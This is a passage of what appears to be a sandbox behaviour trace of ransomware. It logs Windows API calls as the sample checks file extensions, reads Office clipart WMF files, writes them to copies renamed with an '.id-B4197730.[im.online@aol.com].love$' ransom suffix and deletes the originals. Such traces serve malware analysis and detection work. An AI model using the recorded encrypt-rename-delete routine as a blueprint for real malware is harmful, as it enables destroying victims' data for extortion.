(lpString1=".pdf", lpString2=".WMF") returned -1 [0252.708] lstrlenW (lpString=".xls") returned 4 [0252.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.708] lstrlenW (lpString=".xlsx") returned 5 [0252.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.708] lstrlenW (lpString=".ppt") returned 4 [0252.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.708] lstrlenW (lpString=".zip") returned 4 [0252.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.708] lstrlenW (lpString=".rar") returned 4 [0252.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.708] lstrlenW (lpString=".bz2") returned 4 [0252.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.708] lstrlenW (lpString=".7z") returned 3 [0252.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.708] lstrlenW (lpString=".dbf") returned 4 [0252.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.708] lstrlenW (lpString=".1cd") returned 4 [0252.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0252.708] lstrlenW (lpString=".jpg") returned 4 [0252.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.708] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.708] lstrlenW (lpString="FD02075_.WMF") returned 12 [0252.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.709] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4396) returned 1 [0252.709] CloseHandle (hObject=0x450) returned 1 [0252.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0252.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.710] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.710] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0252.711] GetLastError () returned 0x0 [0252.711] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x112c, lpOverlapped=0x0) returned 1 [0252.719] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1130, lpOverlapped=0x0) returned 1 [0252.721] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.721] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.721] SetEndOfFile (hFile=0x544) returned 1 [0252.721] CloseHandle (hObject=0x544) returned 1 [0252.721] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.722] SetEndOfFile (hFile=0x450) returned 1 [0252.732] CloseHandle (hObject=0x450) returned 1 [0252.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0252.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.735] lstrlenW (lpString=".doc") returned 4 [0252.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.735] lstrlenW (lpString=".docx") returned 5 [0252.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.735] lstrlenW (lpString=".pdf") returned 4 [0252.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.735] lstrlenW (lpString=".xls") returned 4 [0252.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.735] lstrlenW (lpString=".xlsx") returned 5 [0252.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.735] lstrlenW (lpString=".ppt") returned 4 [0252.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.735] lstrlenW (lpString=".zip") returned 4 [0252.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.735] lstrlenW (lpString=".rar") returned 4 [0252.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.735] lstrlenW (lpString=".bz2") returned 4 [0252.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.735] lstrlenW (lpString=".7z") returned 3 [0252.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.735] lstrlenW (lpString=".dbf") returned 4 [0252.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.736] lstrlenW (lpString=".1cd") returned 4 [0252.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.736] lstrlenW (lpString=".jpg") returned 4 [0252.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.736] lstrlenW (lpString=".doc") returned 4 [0252.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.736] lstrlenW (lpString=".docx") returned 5 [0252.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.736] lstrlenW (lpString=".pdf") returned 4 [0252.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.736] lstrlenW (lpString=".xls") returned 4 [0252.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.736] lstrlenW (lpString=".xlsx") returned 5 [0252.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.736] lstrlenW (lpString=".ppt") returned 4 [0252.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.736] lstrlenW (lpString=".zip") returned 4 [0252.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.736] lstrlenW (lpString=".rar") returned 4 [0252.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.736] lstrlenW (lpString=".bz2") returned 4 [0252.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.736] lstrlenW (lpString=".7z") returned 3 [0252.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.737] lstrlenW (lpString=".dbf") returned 4 [0252.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.737] lstrlenW (lpString=".1cd") returned 4 [0252.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0252.737] lstrlenW (lpString=".jpg") returned 4 [0252.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.737] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.737] lstrlenW (lpString="FD02088_.WMF") returned 12 [0252.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.739] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3696) returned 1 [0252.739] CloseHandle (hObject=0x450) returned 1 [0252.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0252.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.740] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.740] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0252.741] GetLastError () returned 0x0 [0252.741] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xe70, lpOverlapped=0x0) returned 1 [0252.755] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe80, lpOverlapped=0x0) returned 1 [0252.756] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.756] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.756] SetEndOfFile (hFile=0x544) returned 1 [0252.756] CloseHandle (hObject=0x544) returned 1 [0252.756] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.756] SetEndOfFile (hFile=0x450) returned 1 [0252.759] CloseHandle (hObject=0x450) returned 1 [0252.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0252.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.761] lstrlenW (lpString=".doc") returned 4 [0252.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.761] lstrlenW (lpString=".docx") returned 5 [0252.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.761] lstrlenW (lpString=".pdf") returned 4 [0252.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.761] lstrlenW (lpString=".xls") returned 4 [0252.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.761] lstrlenW (lpString=".xlsx") returned 5 [0252.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.761] lstrlenW (lpString=".ppt") returned 4 [0252.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.761] lstrlenW (lpString=".zip") returned 4 [0252.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.761] lstrlenW (lpString=".rar") returned 4 [0252.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.761] lstrlenW (lpString=".bz2") returned 4 [0252.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.761] lstrlenW (lpString=".7z") returned 3 [0252.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.761] lstrlenW (lpString=".dbf") returned 4 [0252.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.761] lstrlenW (lpString=".1cd") returned 4 [0252.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.761] lstrlenW (lpString=".jpg") returned 4 [0252.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.762] lstrlenW (lpString=".doc") returned 4 [0252.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.762] lstrlenW (lpString=".docx") returned 5 [0252.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.762] lstrlenW (lpString=".pdf") returned 4 [0252.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.762] lstrlenW (lpString=".xls") returned 4 [0252.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.762] lstrlenW (lpString=".xlsx") returned 5 [0252.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.762] lstrlenW (lpString=".ppt") returned 4 [0252.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.762] lstrlenW (lpString=".zip") returned 4 [0252.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.762] lstrlenW (lpString=".rar") returned 4 [0252.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.762] lstrlenW (lpString=".bz2") returned 4 [0252.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.762] lstrlenW (lpString=".7z") returned 3 [0252.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.762] lstrlenW (lpString=".dbf") returned 4 [0252.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.762] lstrlenW (lpString=".1cd") returned 4 [0252.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0252.762] lstrlenW (lpString=".jpg") returned 4 [0252.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.763] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0252.763] lstrlenW (lpString="FD02115_.WMF") returned 12 [0252.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.764] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4660) returned 1 [0252.764] CloseHandle (hObject=0x450) returned 1 [0252.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0252.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0252.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0252.764] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.765] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0252.766] GetLastError () returned 0x0 [0252.766] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1234, lpOverlapped=0x0) returned 1 [0252.768] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1240, lpOverlapped=0x0) returned 1 [0252.769] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.769] WriteFile (in: hFile=0x544, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.769] SetEndOfFile (hFile=0x544) returned 1 [0252.770] CloseHandle (hObject=0x544) returned 1 [0252.770] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.770] SetEndOfFile (hFile=0x450) returned 1 [0252.772] CloseHandle (hObject=0x450) returned 1 [0252.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0252.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.774] lstrlenW (lpString=".doc") returned 4 [0252.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.774] lstrlenW (lpString=".docx") returned 5 [0252.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.774] lstrlenW (lpString=".pdf") returned 4 [0252.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.774] lstrlenW (lpString=".xls") returned 4 [0252.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.774] lstrlenW (lpString=".xlsx") returned 5 [0252.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.775] lstrlenW (lpString=".ppt") returned 4 [0252.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.775] lstrlenW (lpString=".zip") returned 4 [0252.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.775] lstrlenW (lpString=".rar") returned 4 [0252.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString=".bz2") returned 4 [0252.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString=".7z") returned 3 [0252.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.775] lstrlenW (lpString=".dbf") returned 4 [0252.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.775] lstrlenW (lpString=".1cd") returned 4 [0252.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.775] lstrlenW (lpString=".jpg") returned 4 [0252.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0252.775] lstrlenW (lpString=".doc") returned 4 [0252.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString=".docx") returned 5 [0252.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.775] lstrlenW (lpString=".pdf") returned 4 [0252.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString=".xls") returned 4 [0252.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.775] lstrlenW (lpString=".xlsx") returned 5 [0252.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.775] lstrlenW (lpString=".ppt") returned 4 [0252.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString="C:\\Program Files\\Microsoft 